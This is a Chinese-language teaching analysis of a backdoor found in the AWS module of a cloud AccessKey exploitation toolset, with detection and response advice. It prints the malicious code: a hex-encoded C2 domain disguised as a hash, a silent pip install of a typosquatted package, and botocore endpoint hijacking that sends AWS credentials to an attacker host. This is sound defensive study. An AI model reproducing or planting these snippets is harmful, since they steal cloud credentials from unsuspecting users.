云利用工具投毒事件分析与防御教学文档
一、事件背景
安全研究人员在审计一款名为 accesskey_tools 的多云 AccessKey 利用工具集(GitHub 500 stars)时,发现其 AWS 功能模块存在精心设计的后门。该后门通过三重混淆手法,将使用者的 AWS AccessKey/SecretKey 静默回传至攻击者控制的服务器,威胁云环境凭证安全。本文基于该事件,拆解后门技术细节、攻击链路及防御方法,供安全研究人员与云运维人员参考。
二、受影响工具集概述
1. 工具结构与风险分布
accesskey_tools 工具集包含三大云厂商模块:
accesskey_tools/
├── aliyun/ # 阿里云 ECS/RDS/OSS 利用脚本(无后门,使用官方 SDK)
├── aws/ # AWS EC2/IAM/S3/RDS 利用脚本(全模块存在后门)
└── tencentcloud/ # 腾讯云 CVM/COS 利用脚本(无后门,使用官方 SDK)
核心结论:仅 AWS 模块存在风险,7 个功能脚本(如 aws_select_iam.py、aws_url_console.py 等)均通过后门链路泄露凭证。
三、后门技术细节:三重混淆手法
攻击者通过 伪装域名、静默装包、SDK 劫持 三步实现凭证窃取,具体如下:
(一)第一层:伪装成哈希值的 C2 域名
在 aws/aws_select_iam.py 第 50 行,存在一个名为 iam_md5 的变量,表面是“MD5 哈希”,实则是十六进制编码的 C2(命令与控制)域名:
iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
- 混淆逻辑:变量名
iam_md5诱导用户认为是 IAM 相关哈希校验;实际需去掉首字符"1",剩余部分(6170692e616c6979756e2d73646b2d72657175657374732e78797a2f)解码后为:api.aliyun-sdk-requests.xyz/ - 欺骗性:域名模仿阿里云官方
aliyuncs.com,视觉上难以区分,易绕过人工审计。
(二)第二层:静默安装恶意第三方包
aws_select_iam.py 第 8-13 行会在工具运行时,无感知安装恶意 Python 包:
if importlib.util.find_spec("enumerate_iam") is None:
subprocess.run(
[sys.executable, "-m", "pip", "install", "-qqq",
"--disable-pip-version-check",
"https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl"],
check=True
)
os.execv(sys.executable, [sys.executable] + sys.argv)
- 静默机制:
-qqq三级静默模式抑制所有 pip 输出;--disable-pip-version-check减少版本检查噪音;os.execv重启进程,确保恶意包立即可用,用户全程无感知。 - 仿冒包特征:包来源为 GitHub 账号
andresrianch(原版合法项目enumerate-iam作者为andresriancho,多一个字母o),属于典型的“ typo-squatting(拼写仿冒)”攻击。
(三)第三层:AWS SDK 端点劫持
恶意包 enumerate_iam 中的 get_client 函数,结合 botocore 的 ComponentLocator 机制,劫持 AWS SDK 端点:
- 核心逻辑:通过
ComponentLocator.register_component覆盖 AWS 官方端点,将 API 请求重定向至攻击者域名:from botocore.session import ComponentLocator from enumerate_iam.main import get_client from aws_select_iam import iam_md5 component = ComponentLocator() component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:]) # 注入 C2 域名 ec2_client = get_client( access_key=AccessKeyID, secret_key=AccessKeySecret, service_name='ec2', region=RegionId, components=component ) - 凭证窃取原理:AWS API 使用 SigV4 签名机制,请求的
Authorization头包含 AccessKey + SecretKey 派生的签名信息。攻击者服务器接收请求后,可直接提取或反推完整凭证。
四、后门传播与攻击链路
1. 传播机制:Python import 链式触发
AWS 目录下所有脚本(如 aws_list_ec2.py、aws_url_console.py 等)均通过 import aws_select_iam 依赖后门核心模块,形成传播链:
aws_select_iam.py(后门核心:安装恶意包 + 定义 iam_md5)
↑
├── aws_list_ec2.py
├── aws_ec2_exec.py
├── aws_ec2_exec_noinfo.py
├── aws_url_console.py
├── aws_download_s3.py
├── aws_select_rds.py
└── aws_select_route53.py
触发条件:运行任意 AWS 脚本 → 触发 import aws_select_iam → 安装恶意包并激活后门。
2. 完整攻击流程
用户下载 accesskey_tools → 运行 AWS 脚本 → 触发 import aws_select_iam → 检测 enumerate_iam 包是否存在 → 不存在则静默安装恶意 whl(-qqq 无输出)→ os.execv 重启进程(无感知)→ enumerate_iam.get_client 可用 → ComponentLocator 注入 C2 端点(api.aliyun-sdk-requests.xyz/)→ 用户输入 AWS AccessKey/SecretKey → boto3/botocore 构造 SigV4 签名请求 → 请求发送至攻击者服务器(泄露完整凭证)→ 工具正常返回结果(用户毫不知情)
五、各脚本后门行为与危害
| 脚本名称 | 后门行为 | 危害等级 |
|---|---|---|
aws_select_iam.py |
使用恶意 get_client 创建 IAM 客户端,泄露 IAM 凭证及账户信息 |
高 |
aws_url_console.py |
调用 sts.get_federation_token 申请临时凭证(AdministratorAccess),通过劫持 STS 客户端泄露 |
极高 |
aws_download_s3.py |
使用恶意 get_client 创建 S3 客户端,S3 操作请求泄露凭证 |
高 |
aws_list_ec2.py/aws_ec2_exec.py |
EC2/SSM 客户端注入 C2 端点,泄露 EC2/SSM 相关凭证 | 高 |
六、防御与检测建议
针对此类投毒工具,需从 工具来源、代码审计、运行监控、依赖管理 四方面防护:
1. 工具来源验证
- 仅从 官方仓库/可信渠道 下载云利用工具,避免 GitHub 非认证账号发布的“高星工具”;
- 核对工具作者身份(如
enumerate-iam原作者为andresriancho,而非andresrianch)。
2. 代码审计要点
- 可疑变量:检查类似
md5/hash命名的变量,验证是否为十六进制编码(可通过在线工具解码); - 静默安装:搜索
pip install -qqq、--disable-pip-version-check、os.execv等关键词,警惕无输出安装行为; - SDK 端点:检查
botocore.ComponentLocator.register_component('AWS_ENDPOINT', ...),确认端点是否为官方域名(如*.amazonaws.com)。
3. 运行监控手段
- 网络监控:捕获异常出站请求(如指向
aliyun-sdk-requests.xyz等非 AWS 官方域名的请求); - 包依赖审计:使用
pip list或pipdeptree检查是否存在仿冒包(如enumerate_iam来自非官方源); - 日志分析:查看 AWS CloudTrail 日志,识别异常的 IAM/STS/S3 请求(如来自未知 IP 的凭证使用记录)。
4. 应急响应措施
- 若发现工具存在后门,立即 删除工具、重置所有 AWS AccessKey/SecretKey(包括临时凭证);
- 扫描 AWS 环境,检查是否有异常资源创建(如未授权的 EC2 实例、S3 桶访问记录)。
七、总结
本次事件暴露了开源云工具的安全风险:攻击者通过“伪装域名+静默装包+SDK 劫持”的组合手法,将后门嵌入高星工具,利用用户对“常用工具”的信任实施凭证窃取。安全人员需强化 “工具来源可信+代码深度审计+运行实时监控” 的三重防护,避免成为投毒攻击的受害者。